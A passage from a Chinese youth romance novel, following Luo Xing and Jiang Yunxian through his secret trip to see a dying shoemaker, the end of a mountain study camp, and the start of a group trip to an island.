告是她写的。现在都还了。“就这样,江云宪,我们两清了。”2:00AM骆星因为疲倦而大脑宕机,恍惚中,她好像听见了江云宪说“谢谢”和“对不起”,又好像没有。她侧躺在床上,枕头里仿佛有个洞,埋着起搏器,她听见自己规律地心脏跳动和血液流动的声音。自童年起,骆星就能听见这些神奇的声音,它们是来自遥远宇宙的电波,流经她的身体。后来在外公家,那声音消失了一阵。随小姨到洛京生活,它们又在深夜复苏。她在洛京没有遇到过那样的老街和面馆。章连溪喝醉酒的某个晚上,骆星问她想不想回家,醉酒的人不说话。骆星在小姨的沉默和眼泪里感到不安。这段豪门婚姻不如想象中美好,随着时间的流逝,如同退潮后的滩涂,渐渐露出狰狞的怪石与暗礁.热恋的激情退去后,章连溪和孟达开始了频繁地争吵。章连溪不愿让骆星听见,常打发她出门。那阵子骆星总是在江家待到很晚,男孩们玩桥牌、打高尔夫、组乐队,她不会,就在一旁看着,时不时发呆,神游天外。偶尔给他们端茶倒水,像个小厮。她变成了跑腿的,跟班的,望风的.相处时间长了,他们渐渐接受了她的存在,江家显的态度也有了转变,不再冷脸相向,说些刺人的话似乎一切都在往好的方向发展。骆星的校园生活也因此变得顺利,“霉运”不见了,朋友多了,以往难以推进的小组作业问题迎刃而解章连溪和孟达婚姻的磨合期过去,有了新的转机,两人重归于好。章连溪心情暴雨转晴,旅行回来给骆星带了许多礼物,东西也有江家显的一份。“谢谢家显照顾我们星星。从江家出来,骆星认真地告诉小姨:“不用感激他。章连溪有些惊愕,“什么?” 骆星右脚骨折的那段时间,耳鸣领繁,夜里经常被吵得睡不着,她便在脑子里一滴痛回忆外公家形扇灰扑扑的日窗,还有技陵的老街巷。上学的日子,她早起在“明明面馆”吃一碗热腾腾的米线,再走十五分钟,就到学校。 “我不欠他的,没占他便宜。 “我借他家的屋檐挡风遮雨,但不是白待的,我帮他干活了,相互抵消.” 骆星心里有本账,算得门儿清。 章连溪说:“哪能这么算。 “怎么不能?”骆星说,“我也付出了精力和时间成本。”章连溪试图接受她的那套逻辑,半晌才说:“我以为你们是好朋友。“应该不算吧,”骆星用词模棱两可,她耷拉着眉眼,表情透着冷淡,“他们也没有把我当朋友,交朋友是双向的。”比起朋友关系,她与江家显之间更像是合作,或者说雇佣。她寻求他的庇佑,也付出酬劳。章连溪对骆星的话感到惊讶,女孩眼神清澈,她什么都懂,他们代表着人脉、资源和许多许多的机会,他们根本不用排长队购买游乐场的入场券,因为游乐场就是替他们建造的。章连溪说:“你因为这个才去江家?"骆星低着头。章连溪又说:“我不需要你帮我什么,星星,我更希望你能过得开心。骆星沉默了会儿,“跟他们玩很方便。”享受诸多便捷与特权,只不过任何事都有代价,她可以承担。失眠的时间总品得很漫长本财长成两秒,甘界讲入0,倍速模元骆星打发时间的方式有多种,今晚选择打开电视,重头开始看一部剧情早已烂熟于心的电视剧。熟悉的人物台词和背景音演变成一个无形的巨大透明泡沫,填满酒店房间,也包裹着她。直到清晨6:00,闹钟戳破泡沫,骆星头重脚轻地从床上爬起来。6:15,她离开酒店房间前,掀开被子枕头,仔细检查是否有物品遗漏,有点神经质地翻看好几遍,最后背着帆布包离开。斜对门,昨夜无人入住的1112号房,房门依旧紧闭。骆星穿过高悬在空中的玻璃廊桥进入自助餐厅,里面只稀稀疏疏几个人。骆星没胃口,拿了碗粥。旁边的柜台提供饮品,她随机要了一罐荔枝味的饮料,口感偏甜。她没缘由地想到,江云宪好像真的讨厌甜食,尤其是糖,各种糖,隔壁女生在等人,吃着小蛋糕,打开了一集韩剧。见骆星感兴趣,女生大方地把ipad推过来,两人一起打发时间。青春背景的韩剧,故事发生在校园,其中的男女主角是常在荧屏出现的熟悉面孔。“背叛者是什么下场?"“下地狱。屏幕里的角色一问一答,短发女生被推进泳池,被口红涂花的脸浸入蔚蓝的水中。咕噜咕噜,被放大的溺水的感觉。在水中挣扎的感觉。溢出了屏幕。画面突然暂停。女生跟骆星说:“我朋友到了。”她还给骆星介绍剧名,安利她喜欢的演员。骆星朝她挥挥手,接着喝完了碗里的粥。清晨的餐厅里混杂着絮絮的轻语,不吵闹,反而显得有些静。她拿着那罐荔枝口味的饮料往外走,乘电梯下楼,脑海里闪过电视剧的片段。''背叛者是什么下场?"电梯迅速下降,醒目的红色字数不断跳动,骆星喝完最后一口饮料,晃了晃空掉的易拉罐。叮的一声轻响,一楼到了。电梯门从两侧缓缓打开。骆星来得有点迟,大厅里已经有人先到。裘柯眼下挂着青黑,仍坚持刷手机。王宁甫歪在沙发上,眼休息。骆星在旁边坐下,问裘柯:“你们玩通宵了?"裘柯边回消息边说:“难得的机会,下山了要放纵,上山再养生。来接他们的车停在外面。还有几人没下楼,骆星决定去车上等。她盯着手表上不停转圈的秒针看了会儿,没多久,裘柯他们拖沓着脚步从大厅出来,人差不多到齐了。骆星的目光投向人群末尾姗姗来迟的江家显,男生睡眼,抓了把乱飞的头发,跟柯在说话。裘柯很快清点了人数。发现少一个。“谁没到啊,是不是睡过头了?”裘柯大嗓门嚷嚷,视线来回扫荡,转个不停,“还有没有点时间观念了!骆星靠在车后座闭目养神。城市半空飘荡着零星未散的晨雾,茂密的树荫里渗出朝阳。她感觉到金色的光点在脸上跳跃,浮动。“骆星——”江家显倏然间叫她的名字。随着这一声,骆星睁开眼,转头朝他看去。”江云宪呢,你没叫他?”江家显站在俱乐部台阶下,脸色不耐烦,语气像在质问,骆星嗓子像被鱼刺卡住,无法顺畅发出声音,她顿了顿,才说:“敲门了。”“他没跟你一起下楼?"“嗯。骆星感觉到自己心跳在渐渐加快。纸包不住火,现在只要江家显回头去俱乐部调监控,就会发现从昨晚开始,她一直在撒谎而小厘山上,老魏只要打开他办公室上锁的储物柜,就会发现属于江云宪的几样重要物品不翼而飞.早晚要穿帮的。骆星一开始就没打算瞒多久。垂在身侧的手无意识地掐着掌心,那一瞬间想,破罐子破摔,承认吧。话涌到嘴边,就要脱口而出。晨光倏地暗了,被一个颀长身影挡了大半。江云宪凭空出现。手搭在敞开的车窗上沿,俯了俯身,骆星撞进一双潮湿漆黑的眼里,像被述洲的夜雨淋湿过,等一个艳阳天才能彻底晒干。“往里让让。”他声音仍是哑的。那只手转而拉开了车门,手背青筋隐没在苍白皮肤下。骆星往里挪了挪位置。离开了一晚的男孩,风尘仆仆回到了她身边。 16、鞋匠 时间倒退回昨晚。 9:05PM. 江云宪换掉被泼脏了的衣服,重新回到包厢,里面空无一人,他设想过许多种情况,最有可能的就是恶作剧。但也来不及多考虑,他没有任何犹豫地拿起沙发上的手机、证件和现金。如果是陷阱, 他愿意往下跳。从离开俱乐部起,一路上顺利到不可思议。他搭乘时间最近的一班动车赶到述洲,顺着人潮出车站,深夜下起了大雨,人被淋得湿透.所幸很快打到车,直奔医院。“晴姨……”病房门外的椅子上坐着个女人,短发圆脸,是鞋匠的养女攀晴。江云宪走进喊了她一声,女人抬起头来,脸上堆砌出一个社交性的礼貌微笑:“小江,来了啊。"江云宪在动车上用手机跟她联系过,说今晚来医院探望。病房里,老攀躺在病床上,枯瘦的面颊盖着氧气面罩,芦苇荡似的白发剃得只剩一茬,病痛抽走了人的精气神,叫他失去了生机,攀晴向江云宪诉苦:“本来都说好周五去洛京看病的,他今早又说不想去了,不愿意再折腾.….真是年纪越大脾气越大,一天换一个主意,说也说不听,我是真拿他没办法了.….病房空间有限,靠窗台摞着牛奶和营养品,矮柜上的塑料袋里装着满满当当的药。尿壶和便盆塞在床底,橙色的水桶壁上掸着毛巾。过道逼仄,放不下一张凳子,江云宪和攀晴站着轻声说话,隔壁床的病人鼾声如雷。“小江,你怎么会这么晚过来?你前几天不是还跟我说在洛京,怎么人晚上的突然…攀晴话说到一半,病床上的老人颤巍巍睁开了双眼。 江云宪第一时间发现,走近弯下腰。 鞋匠短暂地开口,嘴一张一合,江云宪凑得很近,仍听不清,老头应该是在叫他的名字, 氧气罩上起了雾。 许多话随着呼吸吞咽了下去,如咽下粗粝的砂石,鞋匠说话太累太费劲,千言万语写在浑浊苍老的眼睛里, 江云宪望着他,心里泛起一点酸,同时感到深深的无能为力,人在疾病面前显得太渺小了。 “老爹,小江来看你了。”攀晴在旁边说,“刚从洛京过来的!…你前些日子不是还总念叨他嘛,现在见着人了,放心了吧.…” 知道鞋匠想问什么,江云宪立即说:“我在洛京过得挺好的。“ 他说话那么笃定,让人信服。 老鞋匠也信了。 “好好”他一连说了几个好字,声音沙哑不堪,没多久就像耗完了精力,又疲倦地闭上眼。 江云宪被他握住的那只手很凉,像寒冬倒挂在屋檐下的冰棱。身上衣服被夜雨打湿了,沉甸甸地贴着背脊 他没抽手,挨着床沿无声坐下,人却仿佛还被困在外面的风雨中。 以前鞋匠给他提供过避雨的屋檐,这一老一少已经认识好多年 江云宪记忆里印象最深的一次,是十岁那年,他在喜糖街帮忙看铺子,被诬陷偷东西 他从搬到喜糖街开始,放学后就经常帮忙看店,店里有无数擦得锃亮的玻璃格,里面盛满各式各样的处烂糖果。小孩都有嘴馋的时候,巴巴望着,等大人心情好了能从指锋里漏一两颗给他 给了才吃,他从不主动伸手拿。 那天晚上继父薛民清点店里存货,发现数量对不上,少了一整包糖,帮忙看店的江云宪是首位嫌疑人。 江筝举着竹篾片一顿毒打,江云宪咬死不承认是自己拿的。 薛民拦下妻子,大度地表示:“小孩嘴馋,算了,吃了就吃了,也不值多少钱。 江筝打牌输了钱,心情很差,装作正义凛然教训道:“小小年纪就手脚不干净了,长大了那还得了!" 她不是合格称职的母亲,平日里只顾自己道遥快活,鲜少管江云宪。 关键小孩很早就独立,与她不亲近,也不用她管 此刻她竟在扬起竹片时找到一种高高在上的掌控与痛快感,要打到他服,要打到他认。他是她生的,他的一切都是她给的。 鞋匠听闻动静赶来,护着小孩,说他不会偷东西。他拦住江筝,把小孩带回了自己家。 “我知道你没偷,肯定是哪里弄错了。”他对小孩说。 月光挂在窗口,明晃晃,小孩睡不着,被竹篾片抽出的印子肿成一条条红色蜈蚣,盘踞在他后背,上药之后火辣辣地疼,灼烧着皮肤。 他坐在月光里数着鞋匠的鼾声,直到清晨天快亮,才精疲力竭地睡着。 第二天鞋匠醒得早,出门带回两个热气腾腾的鸡蛋灌饼。 小孩吃饼狼吞虎咽,吃完要跑,鞋匠在后面喊:“今天周六不用上学啊! 小孩脚步没停,拽起墙角的蛇皮袋消失在巷口。之后他用两个月捡垃圾卖的钱买了一大包糖,跑到桥洞旁的芦苇荡,吃了个够,吃到吐。 鞋匠找到他,也没笑话他,说:“吃不下就算了,留着改天再吃。 改天也吃不了,他的身体和心理像产生了某种应激反应,从那以后,一吃糖就想吐。 小孩再也不吃糖了。 鞋匠见他要把胆汁都呕出来,拍拍他,傍晚关了铺子带他去公园。晚风中晃荡的秋千被夕阳染上金光,出摊的小贩开始张罗 老一小买了份炸豆腐坐花坛边吃边看人玩,小孩吃得少,他最近胃口都不怎么好,老头吃得香,砸吧着嘴,津津有味。 “江儿啊,你看这事能不能让它过了?没偷就是没偷,我是信你的,你自个儿也别惦记了行不行?" “总惦记着就该生病了,爷知道你委屈,但你别为难自己,没什么是过不去的。 “你还得好好吃饭,好好上学。 鞋匠说了很多,江云宪最后终于点头。 那几天过去,时间缓了缓,他其实已经没那么难受了。还有个人肯信他,就不算太糟 事情真正水落石出是在大半年后,一个老顾客来店里买喜糟,上次买是少儿子订婚用,这次是结婚,挑着挑着,还说真不好意思,订婚买糖形次点数出了考错,多拿了袋,一直在了该荐,突然相起来,怎么着也得护钱补上薛民和江筝夫妻俩与对方客气,俨然忘了这回事。鞋匠知道后挺高兴的,“我就知道嘛,我就知道嘛.…”他一连说了好几遍他就知道,糖不是小孩偷的。R山个7汉不 几年过去了,江云宪还记得鞋匠当时脸上的笑。“小江,小江?"医院病房,江云宪靠坐在老鞋匠的病床上打盹,被攀晴叫醒。攀晴上手摸到他衣服,察觉到潮乎乎的,惊讶道:“你是不是淋了雨?袖子半干半温的,这哪行啊,会感冒的”“没事。”江云宪说。攀晴知道他在敷行,坚持道:“去对面宾馆开间房,洗个热水澡睡一觉吧,你总得休息。江云宪点了点头,走之前去开水房把热水壶灌满了,检查吊瓶滴液的快慢,做了些琐碎小事,他接过攀晴的雨伞,“谢谢晴姨。将门掩上的瞬间,他又抬眸深深看了病床上的老人一眼。不知为何,这一眼迟缓而郑重。出了医院,江云宪撑着伞往前,不知不觉在朝喜糖街的方向走,那里已经没人了。江筝给他发了告别短信,来自上周,只不过江云宪的手机被老魏没收,今天才看到。短信内容大致是讲薛民的喜糖店生意亏损,他们决定关店,另谋生计,一家人搬离了喜糖街。具体去了哪,短信里没有提,只说让江云宪在洛京好好生活,学机灵点儿,讨亲生父亲开也,会有数不清的好处。如无必要,别再跟她联系与此同时江筝得到了一大笔钱,当作过往十几年独自抚养小孩的报酬。如今江家的掌权人叫江万生,十七年前经过述洲出差,与当地度假村的餐厅服务员江筝春风一度。他不曾将这段露水情缘放在心上,离开前未曾暴露任何个人信息。等江筝发现自己意外怀孕,到处找不到人,手里只有一笔对方留下的小费。 江云宪是稀里糊涂降生在这个世界上的。 直到今年夏天,江万生的秘书在述洲再次偶遇江筝,江家才得知江云宪的存在。 江云宪期末考结束的当天下午,回到喜糖街看店,当时江筝没有任何征兆地告诉他:“联系上你爸爸了 “亲爸,跟你有血缘关系的那个. “他在洛京,想见见你。 见或不见,江云宪对此没有太大的愿景,情绪趋于一种麻木的冷静他期末周的感冒症状持续到现在,没好彻底,江筝的话在耳廓里打转,像阵阵幻听坐上去洛京的车时,想的也只是完成一桩任务,见一面就回,他还有许多事情要做,还要替鞋匠把铺子租出去但事与愿违。 他在洛京跟江万生吃了顿饭后,被送到小厘山。 所有人都告诉他,以后你留在洛京生活。 他只是出门一趟,述洲就变成了遥不可及的故乡。 深夜,雨中的喜糖街陷入深眠。路灯的光晕反射在生锈的卷闸门上,雨水把地面浸润得波光(粼,江云宪穿过这条熟悉的老街,好像沿着时光隧道,走完了整个童年。这时,手机响了。江云宪看着屏幕上亮起的攀晴的号码,压在心里整晚的不安汩汩上涌。他想到病房门被掩上之前看向鞋匠的那一眼。某种预感被应验。攀晴的声音带着哭腔:“小江,你爷刚走了”江云宪手中的伞歪了下,豆大的雨珠砸在伞面,噼里啪啦,仿佛催人疾行的鼓点。他却滞在原地,被狂风骤雨侵袭.原来刚才那一面,是人间最后一面。今晚的一切都这么凑巧,上帝早有安排。 洛京。 从俱乐部回国学馆的路上,骆星频繁看向身侧的江云宪。 他闭着眼,像累极了。 双臂环抱在胸前,头略低着,微微突出的营脊轮廓像一线嶙峋的山脉, 骆星有很多话要问他。 瞥见前座在补觉的江家显,暂时选择了沉默。 车内始终保持着安静。 窗外掠过大片星罗棋布的稻田,远处山坡起伏。 驶离市区后,公路上车辆变少了。司机的车速逐渐飚升,紧赶慢赶,一群人总算踩着八点的线进了国学馆大门。 老魏在门口虎视眈眈。 大家拖拖拉拉地往里走,骆星不起眼地落在了后面,终于找到机会问江云宪,她压低声音:“为什么回来? 好不容易费尽心思离开了洛京,为什么要回来? 他现在明明该在述洲。 江云宪侧头看了她一眼, “事情办完了。” “我以后要留在洛京。 骆星微怔。 太阳升高了,两道拖长的影子在爬满扶芳藤的墙壁上拖长。 “随便你。”她说。 "如果我不回来,你接下来打算怎么办?”江云宪问。 "等他们发现,随便他们怎么办。" 最坏的结果,骆星不是没有想过。但那又怎样呢,她总该随心所欲几次。 不问对错,全凭心意。 两人上了台阶,走到树荫拐角处。江云宪递过去几样东西,他的身份证、手机、卡和现金。 江云宪不知道她是怎么拿到手的,“趁老魏没发现,原样放回去。 骆星没接那一小叠现金。 “钱也还你。”江云宪说。 “不留点儿?" “我把自己银行卡里的钱取出来了,够用一段时间。 听到这里,骆星没再纠结,把全部东西收下放进帆布袋里,“还是那句话,我不欠你了,咱们两清。这次没走,是你自己的问题。 江云宪喉咙里模糊地发出一个音节,不知答没答应。 前面熙熙攘攘的人群忽然停下脚步。 被簇拥在中心的江家显回头找人,“阿星.” 骆星应声:“来了。” 她加快了脚步,越过江云宪,石墙上的灰色影子只剩一道,拉得无限长。 江云宪看着她匆匆跑过廊檐下的夹竹桃,马尾在散落的绿荫光斑里晃荡,不知何时埋下的念头不断膨胀,把心脏撑得阵痛 他看过许多次她的背影,这一刻忍不住想,如果有一天她彻底改变阵营呢。 想要她抛弃那个名为江家显的阵营。 站在他这边。 单人宿舍浴室的磨砂窗上,树影浮动。 江云宪站在花酒下,冷水从头顶浇灌,他垂着头一动不动,像死掉了。 不知过了多久,他顶着毛中从浴室出去。从床褥里摸出临时买的备用手机,装上新卡,给攀晴发了条短信 鞋匠下葬那天,江云宪查了天气预报,述洲是个大晴天。 攀晴反倒在电话里安慰他:“你们见到了最后一面,小江啊,别遗憾 “这其实是难得的缘分,也算老天成全。 “你在洛京好好的啊,别让他替你担心。 江云宪倒在床铺上,喉咙里灌了泥浆,迟迟没有说话。窗外屋檐下的广播开启,通知所有人晚上参加国学讲座,声音回荡 两三只鸟雀一蹦一跳,笃笃,笃笃,尖嘴啄着窗户。 这世界人来人往,热闹得很。 他于指搭在眼睛上不动,指缝渐渐变得潮湿,许久之后,翻了个身,把脸埋进枕头里。 17、南洋之行 山中岁月倏忽而过。 在山下度过的一日假期短暂得仿佛只是一个瞬间,回来之后,日子快得让骆星感到恍惚。 她与江云宪之间恢复风平浪静,仿佛真如她说,他们指间两清了,恩怨皆不存在。 八月二十,国学馆暑假班的课程正式结束。 下山的前一天,大家去附近的道观做义工。 步行大约半小时,抵达梧桐观。 去年老道长仙逝后,唯一的弟子外出云游未归,如今守观的阿婆是附近的村民。 骆星去年见过这位阿婆给国学馆送菜,自己种的茄子辣椒,润紫翠绿,挂着清凌凌的水珠,满满攒了两筐。 怎么也不肯收钱,说她一人吃不完,烂地里了也浪费, 骆星与阿婆说过几回话,得知她娘家是枝陵的,两人居然是同乡。 阿婆待骆星要比旁人亲切些,端给她的绿豆汤里掺了甜津津的蜂蜜。 观里平日就被打扫得干净整洁,留给大家的活儿不多,他们更像是来参观的, 三三两两的人拿着扫帚抹布,扫扫地,擦擦灰尘。 新来的还觉着稀奇,四处转悠,去年来过的已经学会摸鱼,坐在下喝汤. 清凉山风穿堂而过,铜铃脆响。骆星席地而坐,塌着肩背靠在圆柱上,时不时端着绿豆汤往嘴里送 江家显抢过她的碗,不客气地尝了一口,震惊道:“你的绿豆汤怎么是甜的?" “绿豆汤都是甜的。”骆星漫不经心地笑着狡辩。 “其他人的汤只有绿豆味。 “是吗?" 江家显又喝了两口,再三确认: “你的汤里有股蜂蜜味。 骆星咂了下舌,“嘴巴这么灵。" “杜阿婆对你真偏心。 “毕竟是老乡嘛。” 骆星双手交叉枕在脑后,江家显扯过一个莲花拜垫,坐她旁边,问:“明天下山,你直接回家吗? 骆星一听就知道:“你有别的安排?"江家显:“开学还有十天,出去玩吗?"骆星兴致不高。江家显忽然间想起孟家那位老太太曾对他说,“家显啊,多带我们星星玩儿,她一个人在洛京怪孤单的,别欺负她。他当时怎么回话的,忘了,大概也没放在心上。从什么时候起,骆星已经完全适应了在洛京的生活,不需要谁带着了。骆星不懂江家显突如其来的沉默,以为他要脾气,顺着他刚才的话问:“打算去哪儿,你有想法吗?“阜母岛。"阜母岛是座旅游资源丰富的南洋小岛,骆星跟着章连溪去过。她不是个扫兴的人,闲着也是闲着,“去呗。”江家显喝完绿豆汤,把粗瓷碗塞回她手里,刚才那丁点不知名的低落情绪烟消云散,“那算你一个。骆星点头,她打了会儿盹,不知道江家显什么时候走的。阿婆喊她吃西瓜,自己种的,个头虽小,内瓤鲜红,被井水湃过以后清甜解暑。骆星咬着西瓜,听到木窗外闹闹嚷嚷,有人一惊一乍,发现了什么。走近看,众人围在矮坡上。灌木从旁有一具小狗尸体,棕麻色,断尾。从体型判断应该出生没多久,还是个幼。大家讨论要把小狗埋了,开玩笑说要阿婆替小狗算一卦,选个风水宝地。但阿婆说今天是戊日,不宜动土。打算要挖坑埋狗的人一下犯难,虽然不懂什么戊日,也没再动手,怕犯忌讳。人群稀稀拉拉从矮坡上散开,热闹转移去别处,没多久,便无人再关注灌木丛旁被日光曝晒的小小一团棕麻。骆星问阿婆不宜动土,小狗尸体该怎么办。“那块地太晒了,我先替它挪到阴凉地,这样行吗?阿婆沥干瓷碗里的水,说:“不用担心,待会儿找个树洞放着就好了。骆星心里拧的结松了下,阿婆笑盈盈地指着窗外:“这不是还有人管吗。骆星朝敞开的窗户看去,灌木丛旁多了个瘦瘦高高的背影,拎起小狗沿窄路往山里走。枯枝落叶发出窸窣碎响。江云宪在一个树洞前停住脚步,扒开缠绕的爬藤野草,将小狗放进去,往它身上盖了片绿油油的荷叶。骆星跟上前,弯下腰往树洞里瞧,狗崽像在绿荫窝里酣眠好睡。江云宪在旁边的小溪里洗手,摘掉的手套别在窄瘦的腰间,手肘抵着大腿,他半蹲着扭头看骆星:“有事?骆星没事,“随便转转。"说着就要走。“等会儿。”江云宪掏出手机给她,直白地说:“加个联系方式。树上的知了声嘶力竭,阵阵音浪与林子外的日光碰撞,仿佛有了形状。骆星耳朵里吵得烦,视线低垂,“哪来的新手机?"“买的。"就当她白问。骆星还是没接,黑白分明的眼睛盯着斑驳光影里的男生,“我们两清了,不代表要做朋友。直觉告诉她,眼前这人就是个麻烦。别挨太近。男生的手看上去修长,指骨坚硬,手掌宽而薄,长着茧,偏执地维持着递手机的动作一如既往的倔。“只是加好友,不代表做朋友,你在心虚什么?”见她不敢接,江云宪的声音里多了分揶揄。“我没有。“那就加。骆星接过他的手机,摁着数字键,空荡荡的联系人列表里立即多了个新保存的号码。她输完号码转头就走,江云宪在身后提醒:“好友申请记得通过-声音不算大,却惊得骆星脚下一威,被苔藓覆盖的石头本就容易打滑,身体瞬间失去平衡一只手迅速上前拉住她,在她身后挡了下。骆星借力站稳,有惊无险。视线管过小径上几棵火麻草,她刚才差点跌进火麻堆里,随即看向江云宪挽着棉麻衣袖露出的小臂,被草扎到,已经红了大片。斋堂外。两条祥云纹蜡染布被风掀开一角,江云宪伸着手臂在水龙头下反复冲洗火麻草又叫艾麻,叶子边缘有许多粗大锯齿,茎叶上长满了刺毛,碰到会让人觉得又痒又痛,可能会造成皮肤红肿,起疙瘩。骆星坐在竹织板凳上,看阿婆拿来了碘酒,帮江云宪处理。阿婆给他们科普了一番火麻草,又问江云宪:“怎么弄的,这么不小心唷,火麻火麻,碰上了就让你又火又麻.…骆星托腮没啃声,心虚望向地面,听江云宪说:“不小心。她无声抬眸,看了他一眼。阿婆反复地说:“走路要看路,特别是在山里。江云宪没不耐烦,都点头应了。“我去把那几棵砍了,给你们煮着吃。”阿婆拿上剪刀和钳子,剪了一盆火麻叶回来,全是刺。“炖耙了就好了,不扎嘴。骆星第一次听说火麻草能吃,用长筷子夹着叶子,帮忙清洗过了三次水,大致弄干净,等待下锅。锅里炖着骨头汤,乳白汤汁咕咕冒泡。阿婆夹着火麻扔进汤里,一边念着火麻的好处,能通经活络,治风湿,消水肿。骨头汤香味四溢,吸引了不少人围过来。一揭锅盖,又被里面的东西劝退。深绿色的一团,软趴趴浸在汤里,把骨头汤变成魔法药水。“阿婆,这是野菜吗?"“火麻。“火麻是什么?"阿婆扬了扬手里的火钳,夹起几片掉落在地上的长满粗齿和毛刺的叶子,众人直呼阿婆做黑暗料理,更加不敢吃。阿婆给骆星舀了碗汤,又夹了筷子火麻,“你吃,他们不识货。”骆星先喝汤,有股淡淡清香,炖软了的叶子嚼起来像南瓜藤,“还不错。离她最近的裘柯和江家显压根不信,只当她想谁人。大多数人不吃,骆星吃了两碗。同样吃到撑的还有江云宪。两人留到最后,用竹炊帚扫净了锅,擦灶台,扫地。干活,西边落日挂山头,云层烧成色玻璃海晚上是宣告暑假班结束的结课仪式。活动办得隆重,有大人物出场,江家的江子茵也来了。骆星与这位江家长姐见面的次数不多,一只手能数过来。每次见,只觉得她身上有股凛然盛气,配上江家人卓越出众的骨相,叫人肃然,不敢多看江子茵来这一趟,没见江家显,找的是江云宪。馆长在台上致辞时,她将人从后门叫出去,两人不知在檐廊下说什么。骆星瞥见江家显写满不爽的侧脸,若无其事收回目光,缩小存在感,不去触霉头仪式开场不到二十分钟,江子茵就坐车离开了。江云宪回到人群中的空位,他经过骆星左侧过道,小臂上被火麻扎到的红疙瘩还未完全消退那片红痕让骆星觉得碍眼。许是出于愧疚,她睡前通过了手机里的那条好友申请。顺手打开他的朋友圈。仅有一条内容,“旺铺出租”,地址在述洲市喜糖街12号。 骆星再点开头像,像素很低,拍得模糊不清,一个毛茸茸的后脑勺,支棱着两只耳朵。 后来等两人更熟了点,骆星才问: “你微信头像是什么?" “小狼。”江云宪说。 “小狼?到底狼还是狗?" “黑背串柴,取的名字叫小狼。 只不曾被圈养过的流浪狗,被江云宪喂了一段时间,又走丢了,没再出现过。老鞋匠说它老了,死在外面了,让江云宪别再找 他找了,没找到,头像却一直是那只丑丑的小狗。 八月二十,众人下山。 骆星回家就躺,没少听章连溪聊八卦,多半是江家的事, 江云宪的到来如预料中掀起风暴,私生子认祖归宗,电视剧里烂大街的桥段就发生在自己身边,大家还是津津乐道 这几天江家显没动静,跟人间蒸发似的。 直到出发去阜母岛的前一晚,裘柯在群里发视频,西七街出名的MintBar,镭射灯炫目,一片灯红酒绿中,镜头对准台上玩贝斯的江家显。 拨片快速拨弦,金属音浪贯穿全场,冲破屏幕,在手机里炸开。 太放纵的结果是第二天骆星在机场看见一群要死不活的人。 出行队伍很庞大,夏榆和裘柯各自带了闺蜜和朋友,还有江家显所在的乐队成员。加上姗姗来迟的文思,以及不知何故出现的江云宪,粗略一看,有十来个人。 “他怎么在这儿?”登机前,裘柯朝江家显使了个眼色,纳闷江云宪为什么也在。 江家显也不清楚情况。 不想被影响好心情,只能眼不见为净。 飞机落地平河泰州,已在深夜,他们提前预定了一栋兰纳式别墅 骆星要了个单间,拿着房卡上楼,关门睡到天光大亮,被院墙外此起彼伏的汽车喇叭吵醒, 按原计划,他们应该在当地时间11:00之前赶到伦梅莎码头,再搭乘轮渡到阜母岛 但总有意外发生- 行人在码头出发厅的柜台取到船票后,即将办理行李托运,才发现有东西遗落在昨晚落脚的别墅里。 比如乐队吉他手的相机包、夏榆闺蜜的墨镜,以及文思的手表. 其中要属手表最贵重。 关于那块芝柏表的来源,在场好几个人都有印象。去年年底江家显组的局,文思通过一场游戏,从他手里赢的。 不知道是因为人还是因为表,她一直戴着 “早上洗澡摘的,放浴室里了,现在怎么办?” “先别急,我让老板派人送来。”裘柯说着打电话联系别墅老板。 打爆了对面也无人接听。 文思说:“别墅离码头不远,能不能回去拿?" 他们打车过来花了十几分钟,返回的时间成本不高,离开船还早,确实来得及。 派个人跑一趟就行。 至于派谁去,是个问题。外头烈日炎炎,谁都不乐意奔波,哪有坐室内玩手机吹空调来得舒服。 原本最合理的安排,是谁忘了东西谁自己回去拿。 “阿星。 江家显作为团队主心骨,习惯了发号施令,他几乎没犹豫,脱口而出一个名字 坐在角落的江云宪比名字主人先抬头,帽檐遮蔽了眉眼,神色不明。 王宁甫敲手机屏的手指顿住,刚尝试寻找周边跑腿服务的人,暂时无人接单 裘柯则一脸稀疏平常,不觉得诧异。 夏榆逛购物网站,她旁边丢了墨镜的闺蜜面露庆幸和感激, 文思双手抱胸靠着大理石圆台,视线漫过骆星,又投向江家显,无聊地拾手摸圆台后的香水柠树,长指甲掐进黄澄澄的果皮 圈人的反应精彩纷呈。 骆星含了颗酸溜溜的乌梅,手机屏幕上反复出现单机游戏结束后的“Game Over”,她站起来无所谓地朝江家显点头。 没其他多余的话,她明白江家显的意思。 也早就适应了这种跑腿的活计。 她快步离开出发厅,打车往回赶,到别墅拿上东西,老板亲自送她回码头。 不过情况并不顺利。 他们遇到象队游行,队伍庞大,道路堵得水泄不通。改换路线,又遇到修路。最终剩下八百多米的直线距离,只能步行。 一下车,骆星拎着东西狂奔。 蓬勃的阳光均匀涂抹在毫无遮蔽的道路上,她在人群中穿梭奔跑,好像一场夏日逃亡。 再次赶到伦梅莎码头,还是迟到一步。 开船前半小时,闸门关闭。 骆星累极了,靠着圆台席地而坐。手机里有好多个未接来电,都是催她的。刚在赶路,哪顾得上。 她给江家显回了个电话。 江家显在轮渡VIP餐厅里翻着厚重的菜单,告诉她:“下午四点还有一班船,你再过来。 骆星气息尚未完全平复,额前碎发汗湿,薄白的皮肤被晒出轻红。 手机贴在耳侧,她忽然改变主意,不太想去了。 敷衍道:“到时候再说吧。 江家显只当她答应了。 挂电话前开玩笑说:“今天的跑腿服务给你翻倍算钱,打你卡上了。 骆星说:“那我不亏,谢谢江老板。" 她找柜台工作人员咨询哪里提供邮寄服务,将拿到的几样物品直接寄往阜母岛。办理完,背着随身的旅行双肩包,从伦梅莎码头离开。 轮渡已经启航。 蔚蓝海面落满盛夏的日光,海风灌入甲板,吹动了餐厅入口悬挂水晶珠帘,地板上浅浅的光影流动。 裘柯开了瓶餐前酒,突然见江家显脸色不太对。 刺啦 伴随着椅子被推开的声音,江家显站起来, 他环顾四周,目光不断搜寻,向同行的人确认:“江云宪呢? 没人看见。 过闸口后,江云宪便不见了踪影。 江家显拨出那个昨晚才保存的号码,语气不善:“你人呢? “有事?" “你没上船。”江家显说的是肯定句。 “没义务跟你交待。”江云宪声音中的冷漠如出一辙。 他们本来就不是约好同行的,理应互不干涉。 先前只不过是江云宪人为制造出了各种巧5合,他跟他们一伙人同一班飞机飞平河泰州,又恰巧在伦梅莎码头遇到,再搭乘同一班轮渡去阜母岛。 而现在江云宪不想再继续这种巧合。 “为什么临时改行程?”江家显质问。 “没赶上登船而已。“ “你一直等在出发厅!” 这人在撒谎。 明明过闸口时,江家显确定自己看到了他,不存在时间上来不及的问题, 